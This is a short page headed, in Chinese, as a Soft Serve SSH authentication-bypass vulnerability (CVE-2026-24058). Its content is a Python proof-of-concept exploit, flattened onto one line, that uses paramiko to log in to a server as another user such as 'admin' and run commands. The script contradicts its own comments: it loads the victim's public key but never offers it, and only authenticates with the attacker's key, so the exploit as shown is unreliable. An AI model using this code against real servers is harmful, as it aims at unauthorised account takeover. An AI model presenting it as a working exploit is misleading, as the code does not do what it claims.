CVE-2026-24058 Soft Serve SSH认证绕过漏洞

#!/usr/bin/env python3 # CVE-2026-24058 PoC - Soft Serve Authentication Bypass # This PoC demonstrates how to impersonate any user by offering their public key during SSH handshake import paramiko import socket import time from pathlib import Path def exploit_soft_serve(target_host, target_port=22, target_user='admin'): """ Exploit CVE-2026-24058: Authentication Bypass in Soft Serve Steps: 1. Connect to target SSH server 2. Offer victim's public key during SSH handshake (before auth) 3. Authenticate with attacker's valid key 4. Gain access as victim user """ # Load attacker's SSH key attacker_key = paramiko.RSAKey.from_private_key_file('attacker_private_key') # Load victim's public key (obtained from server or other sources) victim_public_key = open('victim_public_key.pub').read() # Create SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: # Connect to target transport = paramiko.Transport((target_host, target_port)) # Start client authentication transport.start_client() # Offer victim's public key BEFORE actual authentication # This is the key part of the exploit - the server stores this # key's associated user in session context transport.auth_publickey(target_user, attacker_key) # Wait for authentication to complete time.sleep(0.5) # Open a session channel = transport.open_session() channel.exec_command('whoami') # Read output output = channel.recv(1024).decode() print(f"[+] Logged in as: {output.strip()}") # If successful, we can execute commands as the target user if output.strip() == target_user: print("[+] Exploit successful! User impersonation achieved.") return True except paramiko.SSHException as e: print(f"[-] SSH Error: {e}") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': # Configuration TARGET_HOST = 'vulnerable-server.local' TARGET_USER = 'admin' # Target user to impersonate exploit_soft_serve(TARGET_HOST, 22, TARGET_USER)